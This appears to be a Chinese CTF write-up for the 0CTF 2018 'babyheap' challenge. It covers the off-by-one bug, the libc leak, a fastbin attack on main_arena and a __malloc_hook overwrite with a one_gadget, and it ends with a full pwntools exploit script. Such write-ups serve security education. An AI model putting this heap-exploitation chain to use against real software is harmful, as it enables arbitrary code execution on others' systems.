0ctf2018-babyheap除錯記錄fastbin-attack,off-by-one
檢視檔案格式以及保護開啟情況。發現為64位程式,符號被剝離,動態連結程式且題目提供給了libc。保護全開,猜想可能是fast attack加上malloc_hook利用(畢竟去年這題是這個利用,肯定先往這邊想)
簡單的執行程式,發現是常規的選單類題目,功能有申請記憶體(alloc)、更新(update)、刪除(delete)、檢視(view)、退出。我們每個功能走進去實現一遍看看。
申請記憶體,輸入記憶體大小即可
更新記憶體塊,選擇記憶體塊號(在alloc中確定),重新輸入大小以及內容。但是這裡有個奇怪的地方,你必須要輸入確定大小少3個字元數才退出輸入。
刪除操作,輸入需要刪除的塊號即可
檢視操作,輸入下標即可檢視相應記憶體內容
放入ida中跑一跑,首先觀察malloc模組,可以看出來分配的位元組限制在88位元組以內,也就限制為fastbin了,其次使用calloc分配,特點除了每次分配將記憶體清空外其他都一樣。用一個數據結構儲存分配大小、是否使用和分配地址。
Update模組,會判斷當前編輯的記憶體塊是否處於使用狀態。重點!發現取出申請長度的時候在最後加了一個位元組,且判斷輸入的v4和原長度v1(此時已經多加了一個位元組)存在相等的可能,即可以溢位一個位元組,也就是所說的off-by-one。我們可以利用此漏洞修改相鄰chunk的size欄位。
刪除模組,首先檢查塊是否已經被釋放,其次將長度和使用情況置0,釋放後將指標置NULL,不存在漏洞利用(應該沒有吧)
漏洞利用總體思路:首先由於全保護開啟,不存在修改got表或者plt表的可能性。因此我們需要洩漏出libc的基地址(通過只有一個small chunk或者large chunk被釋放時,其fd和bk指標會指向libc上的某個地址來實現),然後基本思路通過修改malloc_hook達成get shell的目的。
利用過程:
首先,由於calloc過程中限制了申請大小不會超過88位元組,因此我們需要先申請幾塊fast bin然後修改第一塊的內容從而使得溢位到第二塊的size欄位將其改變並釋放。這裡我們需要注意的是申請的大小必須為0xx8,即必須8結尾,因為如果你申請大小為0x10位元組對齊的話,覆蓋只能覆蓋到下一個塊的pre_size,這也是一個注意點。
首先連續申請幾個大小為fast chunk的堆塊,注意到chunk的大小要限制到0xx8,即以8結尾,這樣下一個位元組溢位將會溢位到chunk size欄位,若以0x0結尾,溢位一個位元組只能溢位到下一個chunk的pre_size欄位,因為pre_size欄位存在公用。
修改完後將chunk1釋放(此時chunk1大小為0xa1,屬於small chunk),此時在chunk1的記憶體空間裡fd和bk指向libc的某個地址,但是此時無法view(1),因為chunk1已經被釋放。我們可以在申請一個fast chunk塊,這時chunk2部分的fd和bk塊也指向了libc上的某處(即是chunk2並沒有被釋放也並不屬於small chunk),此時就可以view(2)來讀出chunk2的fd值,後面用來計算libc_base。
這裡要提一下洩漏出來的地址實際上是main_arena後的一個地址,該地址為top chunk地址,我麼通過給出的libc可以找到main_arena地址,然後就找到了top chunk地址。
首先ida載入libc,進入Exports表,搜尋函式malloc_trim,進入該函式實現,然後f5看如下圖v22的值就是main_arena地址,具體原因可以看glibc原始碼。
我們雙擊v22=&dword_399B00這個值跟蹤過去,可以看到的確是malloc_hook+0x10位置,的確是main_arena地址。拿到這個地址後,由於我們洩漏的是top chunk的地址,因此我們需要找到top chunk在libc內的偏移,這個位置我做了幾次都很固定,就是在main_arena地址+0x58處。到此,可以計算出libc_base。
接著再申請一個fast chunk,這個chunk拿到的地址實際為chunk2的地址,釋放1和2可以拿到堆地址。
我們洩漏出libc基地址後就要想辦法執行system函數了,但是由於保護全部開始,那麼思路主要集中在修改malloc_hook函式上。注意到釋放的chunk2其實際地址仍然可控,我們通過寫chunk4塊來修改chunk2塊的fd指標,使得連續兩次申請後,第二次申請出來我們修改的地址。但是要注意一點,從fast bin中申請出chunk需要檢查malloc的地址是否屬於該bin,因此我們需要修改前先申請一個fast chunk再釋放掉來佔位,從而繞過檢查。
我們通過除錯可以看到我們申請後釋放的malloc(0x58)的fast bin地址為0x7426a16c7b400,即main_arena+32地址處,我們需要一個chunk size欄位,因此main_arena+32+5處的值0x55剛好可以給我們繞過檢查。我們只需要通過chunk4修改chunk2的fd值就可以連續申請出該塊。
還有一點需要注意,我們現在的任務是要修改top chunk的地址,使得我們下次分配時從該地址開始分配。New_top值就是我們需要修改的值,通過除錯可以發現,main_arena-0x3
3的值為0x60000000。可以作為新的top chunk。
我們此時連續申請兩次chunk即可拿到main_arena+32+5的值,申請的兩塊分別為chunk1和chunk2,我們修改chunk2,計算好偏移修改top chunk的值(88-(37+1)-16+1=35)。將top chunk的值覆蓋為main_arena-0x33的值。接著,我們在申請一個新的chunk,這時會從top chunk中取一塊給它,計算到malloc_hook的距離:main_arena-0x33àmain_arena-0x10。此處我為了保險起見從memalign_hook後就開始覆蓋,因此需要3+8=11個字元覆蓋。然後再隨便申請一塊就可get shell了。
完整exp如下:
1 #!/usr/bin/env python 2 # coding=utf-8 3 from pwn import * 4 5 Local = 1 6 7 if Local: 8 p = process("./babyheap") 9 libc_offset = 0x3c4b78 10 one_offset = 0x4526a 11 context.log_level = 'debug' 12 else: 13 p=remote('172.17.0.2',10001) 14 libc_offset = 0x68+0x399af0 #遠端 15 one_offset = 0x3f35a 16 17 def alloc(size): 18 p.recvuntil("Command: ") 19 p.sendline("1") 20 p.recvuntil("Size: ") 21 p.sendline(str(size)) 22 23 def update(index, size, content): 24 p.recvuntil("Command: ") 25 p.sendline("2") 26 p.recvuntil("Index: ") 27 p.sendline(str(index)) 28 p.recvuntil("Size: ") 29 p.sendline(str(size)) 30 p.recvuntil("Content: ") 31 p.sendline(content) 32 33 def delete(index): 34 p.recvuntil("Command: ") 35 p.sendline("3") 36 p.recvuntil("Index: ") 37 p.sendline(str(index)) 38 39 def view(index): 40 p.recvuntil("Command: ") 41 p.sendline("4") 42 p.recvuntil("Index: ") 43 p.sendline(str(index)) 44 45 def leak(): 46 alloc(0x48) #0 47 alloc(0x48) #1 48 alloc(0x48) #2 49 alloc(0x48) #3 50 51 update(0, 0x49, "A"*0x48 + "\xa1") #單位元組溢位修改下一塊的size欄位,使得釋放該欄位時釋放整個small chunk 52 delete(1) #1 53 alloc(0x48) #1,此時第1塊和第2塊的fd部分都有libc上的地址,由於第一塊已經釋放,我們通過讀第二塊的內容將libc上的值打印出來 54 view(2) 55 p.recvuntil("Chunk[2]: ") 56 leak = u64(p.recv(8)) 57 libc_base = leak - libc_offset 58 main_arena = leak - 0x58 59 60 alloc(0x48) #4 = 2,即分配的是原第2塊的地址 61 delete(1) #連續釋放兩塊,然後通過第4修改第2塊的fd部分,使得連續申請兩塊記憶體後第二塊為覆蓋的地址 62 delete(2) 63 view(4) #此處可洩漏出堆的地址 64 p.recvuntil("Chunk[4]: ") 65 heap = u64(p.recv(8)) - 0x50 66 log.info("heap: %s" % hex(heap)) 67 return main_arena, libc_base #返回main_arena libc_base方便exp使用 68 69 def exp(main_arena, libc_base): 70 alloc(0x58) #1 71 delete(1) #刪除第1塊,在fastbin中佔位 72 #gdb.attach(p) 73 addr = main_arena + 32 + 5 #這個值就是佔位的值 74 newtop = main_arena - 0x33 #這個值是0x60000000,用作修改新的top chunk 75 one = libc_base + one_offset#one_gadget值 76 update(4, 9, p64(addr)) #此時修改fastbin中第二個釋放的fd指標(通過第4塊修改) 77 alloc(0x48) #申請第一塊 78 alloc(0x48) #申請第二塊,此時申請到addr 79 80 update(2, 0x2c, "\x00"*35 + p64(newtop)) #計算偏移,修改top chunk為malloc_hook之前的0x60000000部分 81 alloc(0x38) #5 82 update(5, 28, "w"*11 + p64(one)*2) 83 gdb.attach(p) 84 alloc(0x38) #執行malloc_hook指向的函式 85 86 if __name__ == '__main__': 87 main_arena,libc_base = leak() 88 exp(main_arena,libc_base) 89 p.interactive()